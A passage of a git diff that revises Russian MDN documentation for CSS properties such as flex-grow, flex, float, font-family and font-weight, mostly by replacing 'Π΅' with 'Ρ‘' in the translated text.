Π΄Ρ€ΡƒΠ³ ΠΊ Π΄Ρ€ΡƒΠ³Ρƒ Π² родствСнной связи ΠΊΠ°ΠΊ Π±Ρ€Π°Ρ‚ ΠΈΠ»ΠΈ сСстра), ΠΈΠΌΠ΅ΡŽΡ‚ ΠΎΠ΄ΠΈΠ½Π°ΠΊΠΎΠ²Ρ‹ΠΉ коэффициСнт flex-grow, Ρ‚ΠΎ всС ΠΎΠ½ΠΈ ΠΏΠΎΠ»ΡƒΡ‡Π°Ρ‚ ΠΎΠ΄ΠΈΠ½Π°ΠΊΠΎΠ²ΡƒΡŽ долю свободного пространства, Π² ΠΏΡ€ΠΎΡ‚ΠΈΠ²Π½ΠΎΠΌ случаС ΠΎΠ½ΠΎ распрСдСляСтся Π² соотвСтствии с ΡΠΎΠΎΡ‚Π½ΠΎΡˆΠ΅Π½ΠΈΠ΅ΠΌ, ΠΎΠΏΡ€Π΅Π΄Π΅Π»Π΅Π½Π½Ρ‹ΠΌ Ρ€Π°Π·Π»ΠΈΡ‡Π½Ρ‹ΠΌΠΈ коэффициСнтами flex-grow.</p>
+<p><span class="seoSummary"><a href="/en-US/docs/Web/CSS">CSS</a>-свойство <strong><code>flex-grow</code></strong> опрСдСляСт ΠΊΠ°ΠΊ ΠΌΠ½ΠΎΠ³ΠΎ свободного пространства Π²ΠΎ flex-ΠΊΠΎΠ½Ρ‚Π΅ΠΉΠ½Π΅Ρ€Π΅ Π΄ΠΎΠ»ΠΆΠ½ΠΎ Π±Ρ‹Ρ‚ΡŒ Π½Π°Π·Π½Π°Ρ‡Π΅Π½ΠΎ Ρ‚Π΅ΠΊΡƒΡ‰Π΅ΠΌΡƒ элСмСнту (flex grow factor β€” «коэффициСнт увСличСния flexΒ»).</span> Π‘Π²ΠΎΠ±ΠΎΠ΄Π½ΠΎΠ΅ пространство β€” Ρ€Π°Π·Π½ΠΈΡ†Π° ΠΌΠ΅ΠΆΠ΄Ρƒ Ρ€Π°Π·ΠΌΠ΅Ρ€ΠΎΠΌ flex-ΠΊΠΎΠ½Ρ‚Π΅ΠΉΠ½Π΅Ρ€Π° ΠΈ Ρ€Π°Π·ΠΌΠ΅Ρ€ΠΎΠΌ всСх Π΅Π³ΠΎ flex-элСмСнтов вмСстС. Если всС sibling-элСмСнты (sibling items β€” элСмСнты ΠΎΠ΄Π½ΠΎΠ³ΠΎ уровня влоТСнности, состоящиС ΠΏΠΎ ΠΎΡ‚Π½ΠΎΡˆΠ΅Π½ΠΈΡŽ Π΄Ρ€ΡƒΠ³ ΠΊ Π΄Ρ€ΡƒΠ³Ρƒ Π² родствСнной связи ΠΊΠ°ΠΊ Π±Ρ€Π°Ρ‚ ΠΈΠ»ΠΈ сСстра), ΠΈΠΌΠ΅ΡŽΡ‚ ΠΎΠ΄ΠΈΠ½Π°ΠΊΠΎΠ²Ρ‹ΠΉ коэффициСнт flex-grow, Ρ‚ΠΎ всС ΠΎΠ½ΠΈ ΠΏΠΎΠ»ΡƒΡ‡Π°Ρ‚ ΠΎΠ΄ΠΈΠ½Π°ΠΊΠΎΠ²ΡƒΡŽ долю свободного пространства, Π² ΠΏΡ€ΠΎΡ‚ΠΈΠ²Π½ΠΎΠΌ случаС ΠΎΠ½ΠΎ распрСдСляСтся Π² соотвСтствии с ΡΠΎΠΎΡ‚Π½ΠΎΡˆΠ΅Π½ΠΈΠ΅ΠΌ, ΠΎΠΏΡ€Π΅Π΄Π΅Π»Ρ‘Π½Π½Ρ‹ΠΌ Ρ€Π°Π·Π»ΠΈΡ‡Π½Ρ‹ΠΌΠΈ коэффициСнтами flex-grow.</p>
<p>На ΠΏΡ€Π°ΠΊΡ‚ΠΈΠΊΠ΅ flex-grow ΠΈΡΠΏΠΎΠ»ΡŒΠ·ΡƒΠ΅Ρ‚ΡΡ вмСстС с Π΄Ρ€ΡƒΠ³ΠΈΠΌΠΈ flex-свойствами {{cssxref("flex-shrink")}} ΠΈ {{cssxref("flex-basis")}}, ΠΈ ΠΎΠ±Ρ‹Ρ‡Π½ΠΎ опрСдСляСтся с ΠΏΠΎΠΌΠΎΡ‰ΡŒΡŽ сокращСния (shorthand) {{cssxref("flex")}}, Ρ‡Ρ‚ΠΎΠ±Ρ‹ ΡƒΠ±Π΅Π΄ΠΈΡ‚ΡŒΡΡ, Ρ‡Ρ‚ΠΎ всС значСния Π·Π°Π΄Π°Π½Ρ‹.</p>
diff --git a/files/ru/web/css/flex-wrap/index.html b/files/ru/web/css/flex-wrap/index.html
index 345b55bbaa..339db730a5 100644
--- a/files/ru/web/css/flex-wrap/index.html
+++ b/files/ru/web/css/flex-wrap/index.html
@@ -5,7 +5,7 @@ translation_of: Web/CSS/flex-wrap
---
<div>{{ CSSRef}}</div>
-<p>Бвойство <a href="/en-US/docs/CSS" title="CSS">CSS</a> <strong><code>flex-wrap</code></strong> Π·Π°Π΄Π°Π΅Ρ‚ ΠΏΡ€Π°Π²ΠΈΠ»Π° Π²Ρ‹Π²ΠΎΠ΄Π° flex-элСмСнтов β€”Β  Π² ΠΎΠ΄Π½Ρƒ строку ΠΈΠ»ΠΈ Π² нСсколько, с пСрСносом Π±Π»ΠΎΠΊΠΎΠ². Если пСрСнос Ρ€Π°Π·Ρ€Π΅ΡˆΠ΅Π½, Ρ‚ΠΎ Π²ΠΎΠ·ΠΌΠΎΠΆΠ½ΠΎ Π·Π°Π΄Π°Ρ‚ΡŒ Π½Π°ΠΏΡ€Π°Π²Π»Π΅Π½ΠΈΠ΅, Π² ΠΊΠΎΡ‚ΠΎΡ€ΠΎΠΌ выводятся Π±Π»ΠΎΠΊΠΈ.</p>
+<p>Бвойство <a href="/en-US/docs/CSS" title="CSS">CSS</a> <strong><code>flex-wrap</code></strong> Π·Π°Π΄Π°Ρ‘Ρ‚ ΠΏΡ€Π°Π²ΠΈΠ»Π° Π²Ρ‹Π²ΠΎΠ΄Π° flex-элСмСнтов β€”Β  Π² ΠΎΠ΄Π½Ρƒ строку ΠΈΠ»ΠΈ Π² нСсколько, с пСрСносом Π±Π»ΠΎΠΊΠΎΠ². Если пСрСнос Ρ€Π°Π·Ρ€Π΅ΡˆΡ‘Π½, Ρ‚ΠΎ Π²ΠΎΠ·ΠΌΠΎΠΆΠ½ΠΎ Π·Π°Π΄Π°Ρ‚ΡŒ Π½Π°ΠΏΡ€Π°Π²Π»Π΅Π½ΠΈΠ΅, Π² ΠΊΠΎΡ‚ΠΎΡ€ΠΎΠΌ выводятся Π±Π»ΠΎΠΊΠΈ.</p>
<pre class="brush:css no-line-numbers notranslate">flex-wrap: nowrap;
flex-wrap: wrap;
diff --git a/files/ru/web/css/flex/index.html b/files/ru/web/css/flex/index.html
index a0a28a86d8..e490167e82 100644
--- a/files/ru/web/css/flex/index.html
+++ b/files/ru/web/css/flex/index.html
@@ -7,7 +7,7 @@ translation_of: Web/CSS/flex
<h2 id="ОписаниС">ОписаниС</h2>
-<p>Бвойство <a href="/ru/docs/CSS" title="CSS">CSS</a> <strong><code>flex</code></strong>Β - это <a href="https://developer.mozilla.org/ru/docs/Web/CSS/Shorthand_properties">сокращСнноС свойство</a>, ΠΎΠΏΡ€Π΅Π΄Π΅Π»ΡΡŽΡ‰Π΅Π΅ ΡΠΏΠΎΡΠΎΠ±Π½ΠΎΡΡ‚ΡŒ Π³ΠΈΠ±ΠΊΠΎΠ³ΠΎ элСмСнта Ρ€Π°ΡΡ‚ΡΠ³ΠΈΠ²Π°Ρ‚ΡŒΡΡ ΠΈΠ»ΠΈ ΡΠΆΠΈΠΌΠ°Ρ‚ΡŒΡΡ для заполнСния собой доступного свободного пространства. Π­Ρ‚ΠΎ свойство устанавливаСт <a href="https://developer.mozilla.org/ru/docs/Web/CSS/flex-grow">flex-grow</a>, <a href="https://developer.mozilla.org/ru/docs/Web/CSS/flex-shrink">flex-shrink</a> ΠΈ <a href="https://developer.mozilla.org/ru/docs/Web/CSS/flex-basis"> flex-basis</a>.</p>
+<p>Бвойство <a href="/ru/docs/CSS" title="CSS">CSS</a> <strong><code>flex</code></strong>Β - это <a href="https://developer.mozilla.org/ru/docs/Web/CSS/Shorthand_properties">сокращённоС свойство</a>, ΠΎΠΏΡ€Π΅Π΄Π΅Π»ΡΡŽΡ‰Π΅Π΅ ΡΠΏΠΎΡΠΎΠ±Π½ΠΎΡΡ‚ΡŒ Π³ΠΈΠ±ΠΊΠΎΠ³ΠΎ элСмСнта Ρ€Π°ΡΡ‚ΡΠ³ΠΈΠ²Π°Ρ‚ΡŒΡΡ ΠΈΠ»ΠΈ ΡΠΆΠΈΠΌΠ°Ρ‚ΡŒΡΡ для заполнСния собой доступного свободного пространства. Π­Ρ‚ΠΎ свойство устанавливаСт <a href="https://developer.mozilla.org/ru/docs/Web/CSS/flex-grow">flex-grow</a>, <a href="https://developer.mozilla.org/ru/docs/Web/CSS/flex-shrink">flex-shrink</a> ΠΈ <a href="https://developer.mozilla.org/ru/docs/Web/CSS/flex-basis"> flex-basis</a>.</p>
<p>{{cssinfo}}</p>
diff --git a/files/ru/web/css/float/index.html b/files/ru/web/css/float/index.html
index d14d73e420..340654bd11 100644
--- a/files/ru/web/css/float/index.html
+++ b/files/ru/web/css/float/index.html
@@ -3,7 +3,7 @@ title: float
slug: Web/CSS/float
translation_of: Web/CSS/float
---
-<div>Бвойство float CSS ΡƒΠΊΠ°Π·Ρ‹Π²Π°Π΅Ρ‚, Ρ‡Ρ‚ΠΎ элСмСнт Π΄ΠΎΠ»ΠΆΠ΅Π½ Π±Ρ‹Ρ‚ΡŒ взят ΠΈΠ· Π½ΠΎΡ€ΠΌΠ°Π»ΡŒΠ½ΠΎΠ³ΠΎ ΠΏΠΎΡ‚ΠΎΠΊΠ° ΠΈ ΠΏΠΎΠΌΠ΅Ρ‰Π΅Π½ вдоль Π»Π΅Π²ΠΎΠΉ ΠΈΠ»ΠΈ ΠΏΡ€Π°Π²ΠΎΠΉ стороны Π΅Π³ΠΎ ΠΊΠΎΠ½Ρ‚Π΅ΠΉΠ½Π΅Ρ€Π°, Π³Π΄Π΅ тСкст ΠΈ встроСнныС элСмСнты Π±ΡƒΠ΄ΡƒΡ‚ ΠΎΠ±Ρ‚Π΅ΠΊΠ°Ρ‚ΡŒ Π΅Π³ΠΎ.{{CSSRef}}</div>
+<div>Бвойство float CSS ΡƒΠΊΠ°Π·Ρ‹Π²Π°Π΅Ρ‚, Ρ‡Ρ‚ΠΎ элСмСнт Π΄ΠΎΠ»ΠΆΠ΅Π½ Π±Ρ‹Ρ‚ΡŒ взят ΠΈΠ· Π½ΠΎΡ€ΠΌΠ°Π»ΡŒΠ½ΠΎΠ³ΠΎ ΠΏΠΎΡ‚ΠΎΠΊΠ° ΠΈ ΠΏΠΎΠΌΠ΅Ρ‰Ρ‘Π½ вдоль Π»Π΅Π²ΠΎΠΉ ΠΈΠ»ΠΈ ΠΏΡ€Π°Π²ΠΎΠΉ стороны Π΅Π³ΠΎ ΠΊΠΎΠ½Ρ‚Π΅ΠΉΠ½Π΅Ρ€Π°, Π³Π΄Π΅ тСкст ΠΈ встроСнныС элСмСнты Π±ΡƒΠ΄ΡƒΡ‚ ΠΎΠ±Ρ‚Π΅ΠΊΠ°Ρ‚ΡŒ Π΅Π³ΠΎ.{{CSSRef}}</div>
<h2 id="Summary">Summary</h2>
diff --git a/files/ru/web/css/font-family/index.html b/files/ru/web/css/font-family/index.html
index 79b25a5265..44df7fc34e 100644
--- a/files/ru/web/css/font-family/index.html
+++ b/files/ru/web/css/font-family/index.html
@@ -49,7 +49,7 @@ font-family: unset;
<p>Бвойство <code>font-family</code> ΠΏΠΎΠ»ΡƒΡ‡Π°Π΅Ρ‚ список ΠΈΠ· ΠΎΠ΄Π½ΠΎΠ³ΠΎ ΠΈΠ»ΠΈ Π±ΠΎΠ»Π΅Π΅ сСмСйства ΡˆΡ€ΠΈΡ„Ρ‚ΠΎΠ², Ρ€Π°Π·Π΄Π΅Π»Ρ‘Π½Π½Ρ‹Π΅ запятыми. КаТдоС сСмСйство ΡˆΡ€ΠΈΡ„Ρ‚ΠΎΠ² опрСдСляСтся ΠΊΠ°ΠΊ <code><a href="#&lt;family-name>">&lt;family-name&gt;</a></code> ΠΈΠ»ΠΈ <code><a href="#&lt;generic-name>">&lt;generic-name&gt;</a></code>.</p>
-<p>Π’ ΠΏΡ€ΠΈΠ²Π΅Π΄Π΅Π½Π½ΠΎΠΌ Π½ΠΈΠΆΠ΅ ΠΏΡ€ΠΈΠΌΠ΅Ρ€Π΅ пСрСчислСны Π΄Π²Π° сСмСйства ΡˆΡ€ΠΈΡ„Ρ‚ΠΎΠ², ΠΏΠ΅Ρ€Π²ΠΎΠ΅ <code><a href="#&lt;family-name>">&lt;family-name&gt;</a></code>, Π° Π²Ρ‚ΠΎΡ€ΠΎΠ΅ ΠΊΠ°ΠΊ <code>&lt;generic-name&gt;</code>:</p>
+<p>Π’ ΠΏΡ€ΠΈΠ²Π΅Π΄Ρ‘Π½Π½ΠΎΠΌ Π½ΠΈΠΆΠ΅ ΠΏΡ€ΠΈΠΌΠ΅Ρ€Π΅ пСрСчислСны Π΄Π²Π° сСмСйства ΡˆΡ€ΠΈΡ„Ρ‚ΠΎΠ², ΠΏΠ΅Ρ€Π²ΠΎΠ΅ <code><a href="#&lt;family-name>">&lt;family-name&gt;</a></code>, Π° Π²Ρ‚ΠΎΡ€ΠΎΠ΅ ΠΊΠ°ΠΊ <code>&lt;generic-name&gt;</code>:</p>
<pre class="brush: css">font-family: Gill Sans Extrabold, sans-serif;</pre>
diff --git a/files/ru/web/css/font-variant-ligatures/index.html b/files/ru/web/css/font-variant-ligatures/index.html
index f8545cc836..0415ac37bb 100644
--- a/files/ru/web/css/font-variant-ligatures/index.html
+++ b/files/ru/web/css/font-variant-ligatures/index.html
@@ -35,18 +35,18 @@ font-variant-ligatures: unset;
<dl>
<dt><code>normal</code></dt>
- <dd>Π­Ρ‚ΠΎ ΠΊΠ»ΡŽΡ‡Π΅Π²ΠΎΠ΅ слово Π²Π΅Π΄Π΅Ρ‚ ΠΊ Π°ΠΊΡ‚ΠΈΠ²Π°Ρ†ΠΈΠΈ ΠΎΠ±Ρ‹Ρ‡Π½Ρ‹Ρ… Π»ΠΈΠ³Π°Ρ‚ΡƒΡ€ ΠΈ контСкстных Ρ„ΠΎΡ€ΠΌ, Π½Π΅ΠΎΠ±Ρ…ΠΎΠ΄ΠΈΠΌΡ‹Ρ… для ΠΊΠΎΡ€Ρ€Π΅ΠΊΡ‚Π½ΠΎΠ³ΠΎ Ρ€Π΅Π½Π΄Π΅Ρ€ΠΈΠ½Π³Π°. АктивируСмыС Π»ΠΈΠ³Π°Ρ‚ΡƒΡ€Ρ‹ ΠΈ Ρ„ΠΎΡ€ΠΌΡ‹ зависят ΠΎΡ‚ ΡˆΡ€ΠΈΡ„Ρ‚Π°, языка ΠΈ Ρ‚ΠΈΠΏΠ° письма. Π­Ρ‚ΠΎ Π·Π½Π°Ρ‡Π΅Π½ΠΈΠ΅ ΠΏΠΎ ΡƒΠΌΠΎΠ»Ρ‡Π°Π½ΠΈΡŽ.</dd>
+ <dd>Π­Ρ‚ΠΎ ΠΊΠ»ΡŽΡ‡Π΅Π²ΠΎΠ΅ слово Π²Π΅Π΄Ρ‘Ρ‚ ΠΊ Π°ΠΊΡ‚ΠΈΠ²Π°Ρ†ΠΈΠΈ ΠΎΠ±Ρ‹Ρ‡Π½Ρ‹Ρ… Π»ΠΈΠ³Π°Ρ‚ΡƒΡ€ ΠΈ контСкстных Ρ„ΠΎΡ€ΠΌ, Π½Π΅ΠΎΠ±Ρ…ΠΎΠ΄ΠΈΠΌΡ‹Ρ… для ΠΊΠΎΡ€Ρ€Π΅ΠΊΡ‚Π½ΠΎΠ³ΠΎ Ρ€Π΅Π½Π΄Π΅Ρ€ΠΈΠ½Π³Π°. АктивируСмыС Π»ΠΈΠ³Π°Ρ‚ΡƒΡ€Ρ‹ ΠΈ Ρ„ΠΎΡ€ΠΌΡ‹ зависят ΠΎΡ‚ ΡˆΡ€ΠΈΡ„Ρ‚Π°, языка ΠΈ Ρ‚ΠΈΠΏΠ° письма. Π­Ρ‚ΠΎ Π·Π½Π°Ρ‡Π΅Π½ΠΈΠ΅ ΠΏΠΎ ΡƒΠΌΠΎΠ»Ρ‡Π°Π½ΠΈΡŽ.</dd>
<dt><code>none</code></dt>
<dd>Π­Ρ‚ΠΎ ΠΊΠ»ΡŽΡ‡Π΅Π²ΠΎΠ΅ слово устанавливаСт, Ρ‡Ρ‚ΠΎ всС Π»ΠΈΠ³Π°Ρ‚ΡƒΡ€Ρ‹ ΠΈ контСкстныС Ρ„ΠΎΡ€ΠΌΡ‹ ΠΎΡ‚ΠΊΠ»ΡŽΡ‡Π΅Π½Ρ‹, Π΄Π°ΠΆΠ΅ распространСнныС.</dd>
<dt>&lt;<em>common-lig-values&gt;</em></dt>
- <dd>Π­Ρ‚ΠΈ значСния ΠΊΠΎΠ½Ρ‚Ρ€ΠΎΠ»ΠΈΡ€ΡƒΡŽΡ‚ Π½Π°ΠΈΠ±ΠΎΠ»Π΅Π΅ распространСнныС Π»ΠΈΠ³Π°Ρ‚ΡƒΡ€Ρ‹, Ρ‚Π°ΠΊΠΈΠ΅ ΠΊΠ°ΠΊ Π»ΠΈΠ³Π°Ρ‚ΡƒΡ€Ρ‹ для сочСтаний <code>fi</code>, <code>ffi</code>, <code>th</code> ΠΈΠ»ΠΈ ΠΏΠΎΠ΄ΠΎΠ±Π½Ρ‹Ρ…. Они относятся ΠΊ значСниям <code>liga</code> ΠΈ <code>clig</code> Π² OpenType. Допустимы Π΄Π²Π° значСния:
+ <dd>Π­Ρ‚ΠΈ значСния ΠΊΠΎΠ½Ρ‚Ρ€ΠΎΠ»ΠΈΡ€ΡƒΡŽΡ‚ Π½Π°ΠΈΠ±ΠΎΠ»Π΅Π΅ распространённыС Π»ΠΈΠ³Π°Ρ‚ΡƒΡ€Ρ‹, Ρ‚Π°ΠΊΠΈΠ΅ ΠΊΠ°ΠΊ Π»ΠΈΠ³Π°Ρ‚ΡƒΡ€Ρ‹ для сочСтаний <code>fi</code>, <code>ffi</code>, <code>th</code> ΠΈΠ»ΠΈ ΠΏΠΎΠ΄ΠΎΠ±Π½Ρ‹Ρ…. Они относятся ΠΊ значСниям <code>liga</code> ΠΈ <code>clig</code> Π² OpenType. Допустимы Π΄Π²Π° значСния:
<ul>
<li><code>common-ligatures</code> Π°ΠΊΡ‚ΠΈΠ²ΠΈΡ€ΡƒΠ΅Ρ‚ эти Π»ΠΈΠ³Π°Ρ‚ΡƒΡ€Ρ‹. ΠžΠ±Ρ€Π°Ρ‚ΠΈΡ‚Π΅ Π²Π½ΠΈΠΌΠ°Π½ΠΈΠ΅, Ρ‡Ρ‚ΠΎ ΠΊΠ»ΡŽΡ‡Π΅Π²ΠΎΠ΅ слово <code>normal</code> Π°ΠΊΡ‚ΠΈΠ²ΠΈΡ€ΡƒΠ΅Ρ‚ Π»ΠΈΠ³Π°Ρ‚ΡƒΡ€Ρ‹.</li>
<li><code>no-common-ligatures</code> ΠΎΡ‚ΠΊΠ»ΡŽΡ‡Π°Π΅Ρ‚ эти Π»ΠΈΠ³Π°Ρ‚ΡƒΡ€Ρ‹.</li>
</ul>
</dd>
<dt>&lt;<em>discretionary-lig-values</em>&gt;</dt>
- <dd><span class="tlid-translation translation" lang="ru"><span title="">Π­Ρ‚ΠΈ значСния ΡƒΠΏΡ€Π°Π²Π»ΡΡŽΡ‚ ΠΎΠΏΡ€Π΅Π΄Π΅Π»Π΅Π½Π½Ρ‹ΠΌΠΈ Π»ΠΈΠ³Π°Ρ‚ΡƒΡ€Π°ΠΌΠΈ, спСцифичными для ΡˆΡ€ΠΈΡ„Ρ‚Π° ΠΈ опрСдСляСмыми Π΄ΠΈΠ·Π°ΠΉΠ½Π΅Ρ€ΠΎΠΌ ΡˆΡ€ΠΈΡ„Ρ‚Π°.</span> <span title="">Они ΡΠΎΠΎΡ‚Π²Π΅Ρ‚ΡΡ‚Π²ΡƒΡŽΡ‚ значСниям OpenType <code>hlig</code></span></span>. Доступны Π΄Π²Π° значСния:
+ <dd><span class="tlid-translation translation" lang="ru"><span title="">Π­Ρ‚ΠΈ значСния ΡƒΠΏΡ€Π°Π²Π»ΡΡŽΡ‚ ΠΎΠΏΡ€Π΅Π΄Π΅Π»Ρ‘Π½Π½Ρ‹ΠΌΠΈ Π»ΠΈΠ³Π°Ρ‚ΡƒΡ€Π°ΠΌΠΈ, спСцифичными для ΡˆΡ€ΠΈΡ„Ρ‚Π° ΠΈ опрСдСляСмыми Π΄ΠΈΠ·Π°ΠΉΠ½Π΅Ρ€ΠΎΠΌ ΡˆΡ€ΠΈΡ„Ρ‚Π°.</span> <span title="">Они ΡΠΎΠΎΡ‚Π²Π΅Ρ‚ΡΡ‚Π²ΡƒΡŽΡ‚ значСниям OpenType <code>hlig</code></span></span>. Доступны Π΄Π²Π° значСния:
<ul>
<li><code>discretionary-ligatures</code> Π°ΠΊΡ‚ΠΈΠ²ΠΈΡ€ΡƒΠ΅Ρ‚ Π΄Π°Π½Π½Ρ‹Π΅ Π»ΠΈΠ³Π°Ρ‚ΡƒΡ€Ρ‹.</li>
<li><code>no-discretionary-ligatures</code> Π΄Π΅Π°ΠΊΡ‚ΠΈΠ²ΠΈΡ€ΡƒΠ΅Ρ‚ Π»ΠΈΠ³Π°Ρ‚ΡƒΡ€Ρ‹. ΠžΠ±Ρ€Π°Ρ‚ΠΈΡ‚Π΅ Π²Π½ΠΈΠΌΠ°Π½ΠΈΠ΅, ΠΎΠ±Ρ‹Ρ‡Π½ΠΎ, ΠΊΠ»ΡŽΡ‡Π΅Π²ΠΎΠ΅ слово <code>normal</code> Ρ‚Π°ΠΊΠΆΠ΅ Π΄Π΅Π°ΠΊΡ‚ΠΈΠ²ΠΈΡ€ΡƒΠ΅Ρ‚ Π»ΠΈΠ³Π°Ρ‚ΡƒΡ€Ρ‹.</li>
diff --git a/files/ru/web/css/font-weight/index.html b/files/ru/web/css/font-weight/index.html
index 386ede4092..1c15a5c863 100644
--- a/files/ru/web/css/font-weight/index.html
+++ b/files/ru/web/css/font-weight/index.html
@@ -132,7 +132,7 @@ font-weight: unset;
<h3 id="ΠžΠΏΡ€Π΅Π΄Π΅Π»Π΅Π½ΠΈΠ΅_вСса_ΠΈΠΌΠ΅Π½ΠΈ">ΠžΠΏΡ€Π΅Π΄Π΅Π»Π΅Π½ΠΈΠ΅ вСса ΠΈΠΌΠ΅Π½ΠΈ</h3>
-<p>ЗначСния ΠΎΡ‚ 100 Π΄ΠΎ 900, ΠΏΡ€ΠΈΠΌΠ΅Ρ€Π½ΠΎ, ΡΠΎΠΎΡ‚Π²Π΅Ρ‚ΡΡ‚Π²ΡƒΡŽΡ‚ ΡΠ»Π΅Π΄ΡƒΡŽΡ‰ΠΈΠΌ распространСнным ΠΈΠΌΠ΅Π½Π°ΠΌ насыщСнности:</p>
+<p>ЗначСния ΠΎΡ‚ 100 Π΄ΠΎ 900, ΠΏΡ€ΠΈΠΌΠ΅Ρ€Π½ΠΎ, ΡΠΎΠΎΡ‚Π²Π΅Ρ‚ΡΡ‚Π²ΡƒΡŽΡ‚ ΡΠ»Π΅Π΄ΡƒΡŽΡ‰ΠΈΠΌ распространённым ΠΈΠΌΠ΅Π½Π°ΠΌ насыщСнности:</p>
<table class="standard-table">
<thead>
@@ -176,14 +176,14 @@ font-weight: unset;
</tr>
<tr>
<td><code>900</code></td>
- <td>Π§Π΅Ρ€Π½Ρ‹ΠΉ (Густой)Β Black (Heavy)</td>
+ <td>Π§Ρ‘Ρ€Π½Ρ‹ΠΉ (Густой)Β Black (Heavy)</td>
</tr>
</tbody>
</table>
<h3 id="Π˜Π½Ρ‚Π΅Ρ€ΠΏΠΎΠ»ΡΡ†ΠΈΡ">Π˜Π½Ρ‚Π΅Ρ€ΠΏΠΎΠ»ΡΡ†ΠΈΡ</h3>
-<p>ЗначСния <code>font-weight</code> ΠΈΠ½Ρ‚Π΅Ρ€ΠΏΠΎΠ»ΠΈΡ€ΡƒΡŽΡ‚ΡΡΒ  с ΠΏΠΎΠΌΠΎΡ‰ΡŒΡŽ дискрСтных шагов (ΠΊΡ€Π°Ρ‚Π½Ρ‹Π΅ 100). <span id="result_box" lang="ru"><span class="hps">Π˜Π½Ρ‚Π΅Ρ€ΠΏΠΎΠ»ΡΡ†ΠΈΡ</span> <span class="hps">происходит Π² Π΄Π΅ΠΉΡΡ‚Π²ΠΈΡ‚Π΅Π»ΡŒΠ½ΠΎΠΌ пространствС чисСл</span> <span class="hps">ΠΈ прСвращаСтся</span> <span class="hps">Π² Ρ†Π΅Π»ΠΎΠ΅ число ΠΏΡƒΡ‚Π΅ΠΌ</span> <span class="hps">округлСния Π΄ΠΎ</span> <span class="hps">блиТайшСго числа, ΠΊΡ€Π°Ρ‚Π½ΠΎΠ³ΠΎ</span> <span class="hps">100,</span> <span class="hps">со значСниями</span> <span class="alt-edited hps">посрСдинС ΠΌΠ΅ΠΆΠ΄Ρƒ</span> <span class="alt-edited hps">ΠΊΡ€Π°Ρ‚Π½Ρ‹ΠΌΠΈ 100</span> <span class="alt-edited hps">ΠΎΠΊΡ€ΡƒΠ³Π»Π΅Π½Π½Ρ‹ΠΌΠΈ</span> <span class="alt-edited hps">Π² сторону</span> <span class="hps">ΠΏΠΎΠ»ΠΎΠΆΠΈΡ‚Π΅Π»ΡŒΠ½ΠΎΠΉ бСсконСчности</span><span>.</span></span></p>
+<p>ЗначСния <code>font-weight</code> ΠΈΠ½Ρ‚Π΅Ρ€ΠΏΠΎΠ»ΠΈΡ€ΡƒΡŽΡ‚ΡΡΒ  с ΠΏΠΎΠΌΠΎΡ‰ΡŒΡŽ дискрСтных шагов (ΠΊΡ€Π°Ρ‚Π½Ρ‹Π΅ 100). <span id="result_box" lang="ru"><span class="hps">Π˜Π½Ρ‚Π΅Ρ€ΠΏΠΎΠ»ΡΡ†ΠΈΡ</span> <span class="hps">происходит Π² Π΄Π΅ΠΉΡΡ‚Π²ΠΈΡ‚Π΅Π»ΡŒΠ½ΠΎΠΌ пространствС чисСл</span> <span class="hps">ΠΈ прСвращаСтся</span> <span class="hps">Π² Ρ†Π΅Π»ΠΎΠ΅ число ΠΏΡƒΡ‚Ρ‘ΠΌ</span> <span class="hps">округлСния Π΄ΠΎ</span> <span class="hps">блиТайшСго числа, ΠΊΡ€Π°Ρ‚Π½ΠΎΠ³ΠΎ</span> <span class="hps">100,</span> <span class="hps">со значСниями</span> <span class="alt-edited hps">посрСдинС ΠΌΠ΅ΠΆΠ΄Ρƒ</span> <span class="alt-edited hps">ΠΊΡ€Π°Ρ‚Π½Ρ‹ΠΌΠΈ 100</span> <span class="alt-edited hps">ΠΎΠΊΡ€ΡƒΠ³Π»Ρ‘Π½Π½Ρ‹ΠΌΠΈ</span> <span class="alt-edited hps">Π² сторону</span> <span class="hps">ΠΏΠΎΠ»ΠΎΠΆΠΈΡ‚Π΅Π»ΡŒΠ½ΠΎΠΉ бСсконСчности</span><span>.</span></span></p>
<h3 id="Π€ΠΎΡ€ΠΌΠ°Π»ΡŒΠ½Ρ‹ΠΉ_синтаксис">Π€ΠΎΡ€ΠΌΠ°Π»ΡŒΠ½Ρ‹ΠΉ синтаксис</h3>
@@ -214,7 +214,7 @@ p {
}
/* НазначСниС тСксту элСмСнта &lt;div&gt; Тирности, которая большС Π½Π° Π΄Π²Π° уровня,
-Ρ‡Π΅ΠΌ normal, Π½ΠΎ всС Π΅Ρ‰Π΅ мСньшС, Ρ‡Π΅ΠΌ стандартный bold. */
+Ρ‡Π΅ΠΌ normal, Π½ΠΎ всС Π΅Ρ‰Ρ‘ мСньшС, Ρ‡Π΅ΠΌ стандартный bold. */
div {
font-weight: 600;
}
diff --git a/files/ru/web/css/font/index.html b/files/ru/web/css/font/index.html
index dc3278e054..329684753a 100644
--- a/files/ru/web/css/font/index.html
+++ b/files/ru/web/css/font/index.html
@@ -11,7 +11,7 @@ translation_of: Web/CSS/font
-<p>Как ΠΈ с Π»ΡŽΠ±Ρ‹ΠΌ сокращСнным свойством, любоС Π·Π½Π°Ρ‡Π΅Π½ΠΈΠ΅, ΠΊΠΎΡ‚ΠΎΡ€ΠΎΠ΅ Π½Π΅ ΡƒΠΊΠ°Π·Π°Π½ΠΎ, устанавливаСтся Π² Π½Π°Ρ‡Π°Π»ΡŒΠ½ΠΎΠ΅ Π·Π½Π°Ρ‡Π΅Π½ΠΈΠ΅ (Π²ΠΎΠ·ΠΌΠΎΠΆΠ½ΠΎ, пСрСопрСдСляя значСния, Ρ€Π°Π½Π΅Π΅ установлСнныС с использованиСм Π½Π΅ сокращСнных свойств). Бвойства {{cssxref ("font-size-Adjust")}} ΠΈ {{cssxref ("font-kerning")}} Ρ…ΠΎΡ‚ΡŒ ΠΈ Π½Π΅ ΠΌΠΎΠ³ΡƒΡ‚ Π±Ρ‹Ρ‚ΡŒ Π½Π°ΠΏΡ€ΡΠΌΡƒΡŽ установлСны с ΠΏΠΎΠΌΠΎΡ‰ΡŒΡŽΒ <code>font</code>, Π½ΠΎ ΠΎΠ½ΠΈΒ Ρ‚Π°ΠΊΠΆΠ΅ ΡΠ±Ρ€Π°ΡΡ‹Π²Π°ΡŽΡ‚ΡΡ ΠΊ своим Π½Π°Ρ‡Π°Π»ΡŒΠ½Ρ‹ΠΌ значСниям.</p>
